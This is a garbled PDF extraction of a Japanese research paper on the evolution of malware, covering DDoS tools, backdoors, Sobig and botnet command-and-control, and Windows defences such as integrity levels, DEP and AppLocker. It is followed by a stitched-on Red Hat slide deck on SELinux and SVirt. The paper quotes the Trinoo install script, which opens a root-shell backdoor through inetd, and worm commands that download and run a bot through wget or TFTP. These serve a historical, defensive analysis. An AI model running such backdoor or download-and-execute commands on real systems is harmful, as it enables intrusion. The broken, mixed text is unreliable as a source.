リスト 1 Trinoo のインストールシェル./r -6 -k $1 "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' ¥>>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob"./r -6 $1 "echo 'ingreslock stream tcp nowait root /bin/sh sh -i' ¥>>/tmp/bob; /usr/sbin/inetd -s /tmp/bob"echo Sleeping 2 seconds...
sleep 2telnet $1 1524
2.7 バックドア
ワームやウイルスと並んで，バックドアという呼称が使われることがある．バックドアは，主に次のような種類がある．
・・・・

盗聴用のバックドア（スニファ,キーロガー等）
リモートコントロールのためのバックドアバージョンアップのためのバックドア
リダイレクタ（Proxy）

文献[5]では， 1998 年に 8 月に Black Hat カンファレンスで発表された Back Orifice を最初のバックドアとしているが，同年 3
月には Netbus と呼ばれる同様のツールがリリースされ，広く利用されていた．
また，1996 年にリリースされた Netcat(nc)というツールも
バックドアの一種と考えられる．Netcat は，”TCP/IP swiss army
knife”をコンセプトとしており，様々な機能が実装されている．
この考え方は，現在のボットにも受け継がれており，Phatbot と呼ばれるボットのドキュメントでは，スイスアーミーナイフの画像が多用されている（図 1）．

図 1

PhatBot FAQ のスイスアーミーナイフ

2.8 スパム中継型ウイルス
インターネットを使った商用活動のひとつとして，電子メー
ルによる広告活動を挙げることが出来る．この活動において，
特に，不特定多数の電子メールアカウントに対して，一方的にメールを送りつける行為は，スパムメールと呼ばれている．ス
パムメールは，単に不要なメールを受け取ってしまうばかりでなく，様々な社会的な問題につながることから，これを防止するための対策が行われている．
初期のスパム送信は，ISP などの正規のメールアカウントが利用されていたが，サーバ管理者によりスパム送信者のアカウ
ントを停止するなどの対策が行われた．
スパム送信者は，この対策に対して，送信者のアカウントを隠すために，関係のない第三者のメールサーバを利用するようになった（以下，第三者メール中継）．しかし，第三者メール中
継 を 禁 止 す る 設 定 が 普 及 し た こ と や ， ORDB （ Open Relay
DataBase ）[16]と呼ばれブラックリストを使った対策によって，スパムメール送信の実効性が著しく落ちていった．

これを解決し，効率的にスパムを送信する方法として登場したのが，2003 年の Sobig である．Sobig は，ウイルスにメール中
継機能を持っており，これを利用してスパムを送信する．このため，多数の IP アドレスから独立してメールが送信されている
ように見せかけ，ORDB などのメール送信元の IP アドレスに基づいたスパムメール対策を回避することが可能となった．

3. マルウエアの基本機能についての考察
ここまでに紹介したウイルスに対して様々な機能が実装されてきた．これらは個別の事象として平行して起きているものである．ここでは，ウイルスが様々な機能を実装していった目的と経緯について考察する．
3.1 DDoS ツール(TFN)のアプローチ
DDoS ツールは，現在のボットネットとよく似た構造を持って い る ． こ こで は ， TFN(Tribe Flood Network)を 例 と し て ，DDoS ツールの機能と，機構的な問題点について考察する．
TFN は，1999 年に公表された DDoS ツールで，Client(命令者)と Daemon(Zombie)の 2 階層で構成される．攻撃者は，自らが Client となることも，侵入したシステムを Client として利用することもできる．TFN の基本的な構成を図 2に記載する．

ICMP
ICMP Replyを使った
Replyを使った
コミュニケーション
コミュニケーション

攻撃者

iplistiplistClientTargetIplist:Iplist:・UDP
・UDP Flood
Flood

Daemonのアドレス
Daemonのアドレスを記録したものを記録したもの・・ SynFlood
SynFlood
・icmp
・icmp Flood
Flood・smurf・smurfDaemon(Zombie)

図 2

TFN の構成

TFN の Client・Daemon 間は，一般的にネットワークの接続性を確認するために利用される，ICMP ECHO REPLY を使って通信が行われる．このため，ファイアウォールを通過できる可能性が高く，また，通信を発見することが難しい面がある．
ICMP を使った通信手段は，1996 年に loki [17]という名称で実証コード(POC：Proof of Concept)が公表されている．
TFN Client は，Daemon(Zombie)に対して，以下のコマンドを指示することができる．
1.
2.
3.
4.
5.

UDP Flood
Syn Flood
ICMP(Ping) Flood
Smurf
Bind a root shell

TFN はソースとして入手が可能であったことから，これをもとに TFN2K, Trin00, Stacheldraht 等の次世代の DDoS ツールが開発された．これらの較的新しい世代の DDoS ツールと TFN の主な違いは次のような点である．
・・・・

通信の暗号化
接続の際の認証方式
Client と Daemon の間に Master と呼ばれるレイヤの追加
盗聴機能の追加（rcp コネクションのモニタなど）

DDoS ツールは強力なツールであり，効果的に DDoS 攻撃を行うことができる．しかし，ここに紹介した DDoS ツールを使った大規模な DDoS 攻撃の事例と考えられるのは，ミネソタ大学に対する UDP Flood などに限られる．Yahoo に対する DDoSは，Smurf と呼ばれる古典的な手法が使われている事から，
DDoS ツールが利用された事を確認することは難しい．
DDoS ツールが，必ずしも広範囲に利用されなかった理由として，以下の点が原因となっている可能性がある．
・・・・UNIX 系のシステムを主なターゲットとしていたため，
Zombie 候補の絶対数が不足していた
Zombie の台数を確保する作業に，時間と手間が必要だった
Zombie の更新などのメンテナンス機能が実装されておらず，Zombie の維持が出来なかった
Zombie の管理が非効率であり，実際に利用する事が困難であった

Zombie の台数を確保する事を考え場合，UNIX 系のシステム
より Windows 系のシステムを使った方が有利な可能性が高い．
さらに，Windows 系のシステムに対しては，ウイルスやワームという拡散技術が既に確立していたことから，DDoS トラフィッ
クの発生源として，ウイルスが利用されるようになっていったものと考えられる．
文献[5]によれば，2001 年 7 月に発見された CodeRed は，ワー
ムに DDoS 機能を実装した最初のウイルス/ワームであるとされている．CodeRed の他にも，2004 年の Netsky や Mydoom もDDoS を行うことを目的としており，Netsky や Mydoom はター
ゲットサイトをダウンさせることに成功しているが，CodeRed，
MSBlast は， DDoS 攻撃を始める前に，回避策が実施されたため，攻撃に失敗している（文献[18]，文献[19]）．
3.2 バックドアについての考察
Back Orifice, Netbus, Netcat に代表されるバックドアは，一般的に侵入するための機能をもっておらず，いわゆるハッカーがシステムへの進入に成功した際に，設置されることが多かった．
しかし，バックドアを設置する手法はある程度自動化されている場合が多く，多くの場合，次のような手法が利用されていた．
①②③

Scanner と呼ばれるツールで，侵入が可能なターゲットを探し記録する．なお，この探査は，自動化されている場合が多い．
ターゲットに対して攻撃を行い，実行権を取得する．
バックドアをターゲットにコピーし，起動した上で，システム起動時にも再実行されるように設定する．

この一連の流れを自動化したツール（Autorooter）も存在する．
その一例が，「DDoS ツール」で紹介した trinoo のスクリプト（リスト 1）であり，典型的な例がネットワークワームである．
多くのネットワークワームは次のような動作をする．
①②③

乱数などを使って，攻撃を行う IP アドレスを決定する決定した IP アドレスに対して，攻撃コード(Exploit Code)を使って，ワーム本体をダウンロードするコマンドを実行する．
例： CMD.exe TFTP xx.xx.xx.xxx wormbody.exe
wget http://xxx.xxx.xx.xx/bot.pl
同様に，ダウンロードしたワームを実行する．
例： CMD.exe wormbody.exe/usr/bin/perl bot.pl

この一連の流れにおいて，バックドアのダウンロードを追加することは容易であり，また，ワーム本体にバックドア機能を持たせることも可能である． 具体的な例としては，2002 年のCodeRed II, Badtrans, Bugbear, 2003 年の Sobig 等をあげることができる．
ウイルスが，バックドアをインストールする手法について，
以下に Sobig.A を例として紹介する．
Sobig
E-Mail①1SecondServer’Server’s URLs

②
③
④

2

Remote Access by Lithium

4

Lala

Key logger

Second Server

Open Proxy by Wingate

2’
感染したPCの情報

555/TCP - RTSP
608/TCP - Remote Control Service
1180/TCP - SOCKS
1181/TCP - Telnet Proxy31182/TCP - WWW Proxy1183/TCP - FTP Proxy1184/TCP - POP3 Proxy(Third) Server

1185/TCP - SMTP Server

図 3ため，ここが弱点となったわけだが，バックドアの利用についても，次のような問題がある．

0First Server
Geocities or Other

Victim PC

Sobig は，特定のサイトにアクセスを行わなければならなかった

KeyLogger
LIthium
WingateSobig.A の挙動

多くの PC がダイナミック IP アドレスを使っており，
ある時点で実際に利用できる IP アドレスのリストを作成することが難しい．
バックドアが開いていても，ファイアウォールの内側にある Sobig には接続できない．
個別の Sobig の操作を行う事は容易だが，多数のSobig を制御することは難しい．
同じ理由で，大量の Sobig のバージョンアップを一斉に行うことも難しい．

Sobig では，IP アドレスを第三者に知られると，その制御権を与えてしまう事になるため，このリストは秘密にする必要がある．つまり，スパム送信者に Sobig を貸し出すなどの手段で，利益を得ることができず，常に自らスパムの送信を行う必要があったものと思われる．
Sobig は，多彩な機能を身につけたわけだが，ひとつのシステ
ムとしてネットワークを構成するに至っておらず，単に大量の利用可能なノードがネットワーク上に存在するという状態であったといえる．

4. マルウエアの一括制御へのアプローチ
Sobig.A は，主にメールを使って感染を行うウイルスだが，
Sobig.A が実行されると，次の手順でバックドアと，リダイレク
タをインストールする．
ある Web サイトから，Lala というバックドアをダウンロードするためのアドレスを取得する② 該当するアドレスから，Lala をダウンロードし，実行する．
③ Lala は，自分自身の場所をリモートサイトに通知し，
キーロガーと，パスワードで保護されたリモートアクセ
スツール（Lithium）をインストールする．
④ 次に，Lala は Wingate プロキシサーバをインストールする．
Wingate プロキシの設定は，以下の通り．
①

555/TCP - RTSP
608/TCP - Remote Control Service
1180/TCP - SOCKS
1181/TCP - Telnet Proxy1182/TCP - WWW Proxy1183/TCP - FTP Proxy1184/TCP - POP3 Proxy1185/TCP - SMTP Server⑤

従来からマルウエアは，多様な機能を持っていたが「多数の感 染 PC を 効 率 的 に 管 理 ・ 運 用 す る 仕 組 み （ 以 下 C&C :Command and Control System）」が欠けていた．
マルウエアが C&C を持つことによる脅威の変化を，以下に考察する．
4.1 C&C 構築の利点
多数の感染 PC を管理する適切な C&C が構築できた場合，次のような利点がある．
① 別々の方法で感染させた PC をひとつのネットワークとして利用・制御することができる② 構築したネットワークを利用することで再感染が容易になる③ 意図する攻撃や活動に応じたマルウエアに入れ替えが出来る④ リードタイムなしに攻撃等の活動が行える⑤ マルウエアの入れ替えによりアンチウイルスの検出と削除を回避する
近年注目されているボットネットは，多数の感染 PC を使って，非常に堅牢なシステムを実現している．以下に，ボット
ネットの概要と C&C としての機能を解説する．

最後に，Sobig.A を削除する．

これにより，Sobig.A は次の機能を実現する．


完全なリモートアクセス
キーストロークの記録
スパム送信のためのリダイレクタ
Wingate プロキシの自由な変更

この結果，Sobig に感染した PC のアドレスを持っている人物
は，このリストを使って，大量のスパムを送信することが可能となる．

Sobig は，A～F まで 6 亜種が活発な活動を行ったが，Sobig.F
が更新を行う際に，世界的な ISP の連携によって，Lala をダウ
ンロードするためのサイトを全て閉鎖することで鎮圧された．

4.2 ボットネットによる C&C の構築
ボットネットは，ボットと呼ばれるウイルスの一種が構成するネットワークのことで，IPA（独立行政法人 情報処理推進
機：Information-Technology Promotion Agency, Japan）ではボットを次のように定義している．
ボットとは，コンピュータウイルスの一種で，コンピュータに感染し，そのコンピュータを，ネットワーク (インターネッ
ト)を通じて外部から操ることを目的として作成されたプログラ
ムです．
感染すると，外部からの指示を待ち，与えられた指示に従って内蔵された処理 (後述)を実行します．この動作が，ロボットに似ているところから，ボットと呼ばれています．
ボットネットは，図 4のように多数のボットが，IRC メカニズ

ムを利用してネットワークを構成しているもので，HERDERb)または，Master と呼ばれるボットネットの管理者によってコントロールされる．HERDER は，IRC サーバに指令を与えることで，IRC サーバに接続している全てのボットに対して，ほぼ同時に命令を伝えることができる．この特性を利用し，DDoS 攻撃やプログラムの更新といった，同時性が望まれる行為を，容易に実現できる．なお，必ずしも IRC メカニズムを利用する必要はなく，試験的に P2P プロトコルの利用をするボットも確認されている．
報道では，数万～数百万規模という大規模なボットネットが取り上げられることが多いが，多くのボットネットは 3 千～8 千台という比較的小規模な構成にとどまる傾向にある．これは，小規模なボットネットの方が，発見が難しいためと考えられている（Honey Net Project[20]）．

①感染機能

マルウエア
マルウエア
（ボット）
（ボット）
③ 自己更新機能

事前組込動作② 操作I/F④ 多数の感染PCの操作・管理・利用

C&C(Command& Control
System)Operator(Herder)

図 5 ボットネットの動作モデル

Internet

5. 最新システムにみるマルウエア対策
近年のマルウエア対策の難しさは次の点にある
IRCサーバHERDER

図 4 ボットネットの概要(IRC ボットネット)
なお，ボットは，ソースコードや解析やアンチウイルスによる検出を困難にするための難読化技術が，開発環境と共に流通していることが確認されており，機能の追加や変更が容易であり，様々な亜種が作成できるようになっている．
4.3 シーケンシャルマルウエアへの展開
IPA の調査[21]によれば，ボットネットで構築された機能は，一つの大きな実行ファイルから，用途に応じた小さな実行ファ
イルを必要に応じてダウンロードする形態が主流に変化しており，このような手法をシーケンシャルマルウエアと呼んでいる．
なお，シーケンシャルマルウエアによっては，稼動しているプ
ログラムに対するインジェクションを行う例や，あたかもオー
バーレープログラムのように，機能モジュールをメモリ上にダウンロードすることで，ファイルを作成せずに新たな機能を取得す例もあるという．また，攻撃のトリガーが，ネットワーク
サービスから，メールや Web を使って様々なアプリケーションの脆弱性を利用する形態に変化している．
これらの事例は，個々のマルウエアが複雑な活動をしているように見えるが，実際はボットネットが変化したものであり，
C&C または C&C に相当するものが，一括して感染したマルウエア
をコントロールしている．また，ソースコード等で流通している様々なコードを“必要に応じて機能（モジュール）を組み込む”という形態から，“必要な機能（モジュール）だけを組み込む”という形態に変化したものと見ることができる（図 5）．
つまり，近年のマルウエアは，マルウエア基本機能のモジュール化による任意の機能の組み込みと，マルウエアの一括統制ができる点に特徴がある．

・ アンチウイルスで検知できないケースが増えている
・ メールや Web を経由した感染が，イントラネットへの侵入を意味している・ 内部から外部に向けて通信を行うため，境界領域防御では，
マルウエアと C&C の通信を防止できない・ 攻撃の対象となるアプリケーションが特定できない
このような近年のマルウエアの脅威に対して，最新のＯＳのひとつである，Windows 7 と，その基礎となった Windows Vistaが実装している代表的な対策技術を紹介する．
5.1 OS のセキュリティレベル
Windows 7 に つ い て は ， ま だ デ ー タ が 出 て い な い の で ，Windows 7 がベースとしている，Windows Vista のセキュリティ
レベルについて紹介する．
図 6は，主要なシステムの出荷後 1 年間に公表された脆弱性の比較である．Windows Vista は，Windows XP と比較して，約半分まで脆弱性を減尐させている[22]．Microsoft では，脆弱性を減尐させ，より安全なシステムを開発するためにSDL(Security Development Lifecycle[23])という手法を適用しているが，この取り組みの成果を見ることができる．

図 6 出荷１年間で公表された脆弱性の比較[24]脆弱性を減尐させることは重要であるが，必ずしもマルウエ
アの感染を減尐させるとは限らない．図 7は，マイクロソフト
が半年毎に行っているセキュリティに関する調報告 Security
Intelligence Report（以下 SIR)において OS 毎のマルウエアの感染率をグラフにしたものである[25]．この調査では，Windowsb)

HERDER: 牧夫，群れを率いる人という意味で使われる．

Vista は，Windows XP の約 15%の感染率まで減尐しており，マル
ウエアに対しては，効果的な取り組みが行われていると考えることができる．

図 7

OS 毎のマルウエア感染率の比較[26]とになった．
DEP/NX は，マルウエア対策として有効なものだが，アプリ
ケーション側でも対応が必要であるが，徐々にアプリケーショ
ンの対応も進んでいる．
5.4 AppLocker
AppLocker は，プログラム，DLL，インストーラ，スクリプトに対して実行の許可・不許可を設定するツールで，パス，ハッシュ，証明書に基づいた制御を行うことができる．
従来から，同様の機能は実装されていたが，プログラムの更新のタイミングで設定を変更する必要があったことから，運用が煩雑で，あまり普及しなかった面がある．
AppLocker では，証明書に基づいた制御をサポートしており，プログラムのバージョン，プログラム，ファミリー，企業などの階層に応じた制御が行える．例えば，Microsoft Excel のバー
ジ ョ ン に 対 す る 制 御 ， Microsoft Excel に 対 す る 制 御 ，Microsoft Office Suite に対する制御，Microsoft に対する制
御を選択することができる（図 9）．

SDL は，単に脆弱性の現象を目的としたものではなく，設計段
階でのセキュリティの作り込みを目指したものである．マルウ
エアの感染率の低下も，SDL として実装された様々な機能が効果を挙げているものと考えられる．以下に、主要なセキュリティ
機能について紹介する．
5.2 整合性レベル（Integrity Level）
整合性レベル(IL: Integrity Model)は，Windows Vista から導入されたもので，プロセスとオブジェクト間にレベルを設け，プロセスが持つレベルよりも高いレベルへの書き込みを禁止する仕組みである．
低整合性レベルのプロセスは，高整合性レベルに昇格をすることができず，また，システムエリアへの書込みができない（読み込みは ACL 次第）．このため，自動起動，システムファ
イルの置き換え，システム設定の変更や，他のプロセスにメッセージを送ることができない（UIPI）
他のプロセス

オブジェクト

高

高

低

中IL
プロセス

中

低IL
プロセス

低

読み取り
書き込み

AppLocker の設定例

6. まとめ%SystemRoot%, %ProgramFiles%等の、管理者権限が必要なオブジェクト
仮想化されたオブジェクトへのリダイレクト（設定等による）

中

図 9

一般のファイル、レジストリ等のオブジェクト

Documents and Settings¥%USER PROFILE%...
...¥Local Settings¥Temporary Internet
Files¥Low...¥Local Settings¥Temp¥Low...¥Local Settings¥History¥Low ...¥%USER
PROFILE%¥Favorites¥Low ...¥%USER
PROFILE%¥Cookies¥Low %USER
PROFILE%¥AppData¥LocalLow

図 8 整合性レベルの概念
Internet Explorer 7/8 では，システムへのアクセスを制限する保護モードが用意されているが，これは IE と IE 上で稼動するプ
ロセスを，低整合性レベルで動作させることで実現している．
5.3 DEP/NX
DEP/NX(Data Execution Prevention/No eXecution) は ， ハ ー
ドウェアを使ってデータ領域でのプログラムの実行を防止する．
多くの攻撃に利用されるバッファオーバーフローを効果的に防止することができるため，マルウエアの感染の多くを，効果的に防止する．
DEP/NX は Windows XP SP2 から導入されているが，Windows
Vista，Windows 7 と適用範囲を拡大している．具体的には，Windows 7 で は ， Internet Explorer 8 が 出 荷 時 設 定 と し て
DEP/NX が有効に設定された．これにより，IE を経由して実行されるアプリケーションについても，DEP/NX が有効に機能するこ

最近公表されたボットネット等の調査結果を分析すると，マルウエアは愉快犯ではなく，犯罪や疑わしい行為を目的として利用されるように変化している．この変化に伴い，マルウエア
は複合的な機能を有するように変化したばかりではなく，マルウエアそのものを更新しながら活動するという，よりダイナ
ミックなものへと変化している．
これに対して，アンチウイルスソフトに代表されるマルウエ
ア対策は，現在においても，大規模感染を最大の脅威とするモ
デルに基づいている．攻撃側は，このような対策側の特性を理解し，大規模な感染を意図的に回避し，また，アンチウイルス
ソフトによる発見を回避するための様々な手法を利用しており，明らかに攻撃側が有利な状況にある．
このような状況において，ＯＳやアプリケーション自体のセ
キュリティレベルを向上させる事がより重要となっており，最新のシステムにおいては，様々な対策が実装されるようになっている．より巧妙になっているマルウエアの対策を進める上では，これらの機能の特性を理解し，利用していく必要がある．

参考文献
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13) CERT Incident Note 99-04
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15) CERT Incident Note IN-99-07
Distributed Denial of Service Tools
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16) Open Relay Database (ORDB)
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17) LOKI ICMP tunneling back door
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18) 残るはあと 1 サイト--NetSky の DDos 攻撃で 4 サイトがダウン
http://japan.cnet.com/news/sec/story/0,2000050480,20065376,00.htm
19) MyDoom ウイルス，一斉攻撃開始--SCO サイトがダウン
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20) The Honynet Project & Research Alliance, “Know your Enemy:
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milyID=037f3771-330e-4457-a52c-5b085dc0a4cd26) Microsoft Security Intelligence Report Ver.7
http://www.microsoft.com/downloads/details.aspx?displaylang=ja&Fa
milyID=037f3771-330e-4457-a52c-5b085dc0a4cd᝟ሗ䝉䜻䝳䝸䝔䜱䛾ㄢ㢟䛸ᑐᛂ⟇䝬䜲䜽䝻䝋䝣䝖䠄ᰴ䠅䝏䞊䝣䝉䜻䝳䝸䝔䜱䜰䝗䝞䜲䝄㧗ᶫṇ࿴᝟ሗ䝉䜻䝳䝸䝔䜱䛻䛛䛛䜟䜛Ṕྐ30+ years of computing & insecurity
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2003

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2010/1/21

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シ ス テ ム 技 術 分 科 会

選 出2009 年度 システム技術分科会 第 2 回会合 より

レッドハットが実現する
セキュアな仮想化環境 – Svirt

レッドハット株式会社
藤田稜

サイエンティフィック・システム研究会
2009 年度システム技術分科会 第 2 回会合資料

2010 年 1 月 20 日

レッドハットが実現するセキュアな仮想化環境- SVirt 藤田 稜
レッドハット株式会社[アブストラクト]
クラウドや仮想化といった言葉が花盛りですが、コスト削減や利便性にばかり重きが置かれ、それらに固有のセキュリティの問題に関する十分な議論がなされていない状況にあります。
本講演では仮想化において考慮しなければならないセキュリティの問題やその対策、対策に必要な最低限の知識について、事例を含めて分かりやすくご紹介します。
仮想化にご興味が無くても、セキュリティ管理者、あるいはインシデントについて責任を負う立場にある方はオーディエンスに含まれます。
[キーワード]OSS、SELinux、Svirt、仮想化、クラウド、KVM

AgendaThe Fact
RH with SELinux

SVirt

SELinuxとはレッドハットが実現するセキュアな仮想化環境

KVM on SELinux新たなる脅威Svirt
利用状況

Red Hat K.K. Senior Solution Architect: Ryo Fujita <rfujita@redhat.com>
V1.0: 20th. Jan 2010

The Fact2

RH with SELinuxrootパスワードとともに公開されているサーバ

RHEL

http://www.coker.com.au/selinux/play.html

FC2：SELinuxを導入（2004年5月）

To access my Debian play machine ssh to play.coker.com.au as
root, the password is "SELINUX".

RHEL4：SELinuxを導入（2005年2月）
targetedポリシー（約13ターゲット）

SELinuxコミュニティのRussell Coker（元Red
HatのSELinuxのメンテナ）が運用

RHEL5：SELinuxを強化（2007年3月）

rootパスワードを公開してもクラック・ハックされtargetedポリシー（約80ターゲット）

ないのがSELinux!

MLS/MCSの導入

3

RH with SELinux(続㲩)SELinux㳄㳋

SELinuxの開発・サポート
Red Hat：286（55%）
gitログ522パッチセット中
git：Linuxのバージョン
管理システム4

Security Enhanced Linux
21%
12%

強制アクセス制御（MAC）と最小特権を実装した
Linux（㱠TrustedOS）

55%

NSA（米国国家安全保障局）とSecure
Computing社による10年来の研究成果

12%

nsa：65、hp：63

Red Hat
NSA
HP

oracle：1

Other

実装はLSM
Linux Security Module

56DAC㳄MAC

DAC㳄MAC(続㲩)

Discretionary Access Control

Mandatory Access Control

任意アクセス制御

強制アクセス制御

リソースの所有者が任意に決定

セキュリティ管理者がポリシーを強制

リソース操作に対する制御は
はrwx
xのみ

リソース操作に対する制御の粒度が向上
操作＝アクセス・ベクター

特権ユーザになれば、全ての操作が可能

全てのリソースを制御可能

従来のOSの実装
7

DAC㳄MAC(続㲩)8DAC㳄MAC(続㲩)DACで脆弱性のあるhttpdが攻撃されると...

MACで脆弱性のあるhttpdが攻撃されると...

子プロセス

被害は最小限apacheユーザ



親プロセス

カーネル陥落= システム奪取

rootユーザ

ドメインに留まる
9

DAC㳄MAC(続㲩)最小特権

SELinuxはDAC・MACの組み合わせプロセスやユーザに不要な特権を与えない

プロセス

ユーザスペース

10

TE（Type Enforcement）

システムコール

RBAC（Role Based Access Control）

システムコール・エントリポイント

MLS/MCS

DACチェック
カーネルスペース

?

LSM
LSM
MACチェックM
フック Yes / No モジュール
モ
システムコール実行
11

12

TE

RBAC

英語のSVO構文と同じロールに必要な権限だけを設定

S：プロセス、V：アクセスベクタ、O：リソース

ユーザにあるロールになることを許可

プロセスにはドメイン、リソースにはタイプ

ロールに利用できるドメインを設定許可するSVOを定義＝セキュリティポリシー
タイプ：httpd̲sys̲content̲t

ドメイン：httpd̲tapacheユーザ

アクセスベクタ：read

ロール：user̲r

ドメイン：user̲t

ロール：sysadm̲r

ドメイン：sysadm̲tドメイン：run̲init̲t

ロール：system̲r

ドメイン：kernel̲tドメイン：initrc̲tドメイン：klogd̲t/var/www/

13

MLS/MCS㴒㴄㴼㵁㴝㳺㴴㵁㴎㱟Top Secret

Multi Level Security

strictSecretセキュリティコンテキストにレベルを追加targeted

デフォルト：全て拒否

デフォルト：全て許可

最小権限の原則の徹底

unconﬁned̲tドメイ

汎用的なサーバでは適
用が難しい

ンの追加

Conﬁdential

重要度

Multi Category Security
営業

セキュリティコンテキストにカテゴリを追加

14

マーケ

経理

Unclassiﬁed

営業エッジサーバを保護
httpd, dhcpd,

マーケ

mysqld, named...

経理

163㳀㳊㴹㱟㴠

KVM

disabled

KVM：Kernel-based Virtual
Machine

SELinuxは無効

CPUの仮想化支援機能を利用する

permissive

ためのカーネルモジュール

ポリシーチェックが行われロギングされるが、アクセスベクターの停止は行われないIntel VT / AMD-Vが必須
ハイパーバイザを高速化

enforcing

現在の実装ではQEMUを高速化

アクセスベクターが強制停止される

17

仮想マシン
QEMU
KVM
Linux
ハ ドウェアハードウェア18

KVM(続㲩)新㲻㳆㳧脅威QEMU

従来の攻撃はネットワーク経由①外部からの攻撃

KVM以前から開発・利用
多種のOSで動作
命令を動的に変換

ホストユーザスペース

ホストユーザスペース

httpd

named

ホストカーネル

ホストカーネル

ハードウェアハードウェア②陥落

x86(̲64)、ia64、ARM、SPARC...
各種H/Wのエミュレーションを提供
ユーザプロセス③内部への攻撃SELinuxでは1ドメインとして扱われる
19

新㲻㳆㳧脅威(続㲩)

20

Svirt

新たな攻撃はハイパーバイザ経由

SELinuxを仮想化に適用①外部からの攻撃

セキュリティポリシーを
ハイパーバイザに

ゲストユーザスペース

ゲストユーザスペース

libvirtを拡張

②陥落

httpd

ホスト・ユーザスペース
virtd_isolated_t:1

virtd_isolated_t:2

ウェブ・サーバ

DNSサーバ

ゲスト・
カーネル

ゲスト・
カーネル

仮想マシン

named

仮想ゲストやリソース
ゲストカーネル
ハイパーバイザゲストカーネル

SELinux
ホスト・カーネル

ラベル・③他ゲストへの攻撃

virtd̲isolated̲t:<UUID>
を付与

ハードウェア

virt_image_t:1

virt_image_t:2

ホスト・ハードウェア

21Xen㳄㳊比較

利用状況(米)KVMでは孤立させられる

米政府
プロセス
プロセス

プロセス
プロセス

仮想
ン
仮想マシン

仮想マシン
仮想
仮
ン

仮想マシン
仮
ン

プロセス
プロセス

プロセス
プ
ロセス

プ
プロセス

仮想マシン
仮
想マ
マシン
（
ゲスト）
（ゲスト）

仮想マシン
仮
ン
（
ゲスト）
（ゲスト）

仮想マシン
仮
ン
（
ホスト）
（ホスト）

プロセス
プロセス

プロセス
プ
ロセス

プロセス
プ
ロセス

プロセス

大きな問題点22

ミリタリーとシビリアンで標準を区別
ミリタリー
DISA（国防情報システム局）が管轄
NIAPがポリシーを管理：CCが用いられる

KVM
KV
VM
VM

Xenハイパーバイザ
X
ハイパ
ハイ
ハ
バイザ
バイザ
ハ ドウェアハードウェアLinux
ハードウェアハ
ドウェア

Xenにおけるドメイン

KVMにおけるドメイン

PL-1〜3ではSELinuxは不要
最高レベルではSELinuxが必須
23

24

利用状況(米·続㲩)

利用状況(米·続㲩)

シビリアン

利用している組織

NIST（国立標準技術研究所）が管轄

NAVY

FISMAがポリシーを管理

MLS（SELinux）を利用

FDCC（Federal Desktop Core

Marines / Coast Guard

Conﬁguration）を用いる

NAVYと同様

Red Hatも参加し策定作業中

いくつかの情報部（非公開）

SELinuxが必要

SELinuxを利用近々公開される予定
25

利用状況(米·続㲩)

26

利用状況(㴁㱟㴐㴟㵀㵁㳹)

利用予定の組織

オーストラリア国防軍

FISMAのポリシーを利用する全部局

全てのサービスでSELinuxを利用

NASA、農務省、司法省など“Australian Defense Force uses it in all
Services. None of them ever turn SELinuxoﬀ.” by Ross Ford, Federal Territory
Manager in Australia272928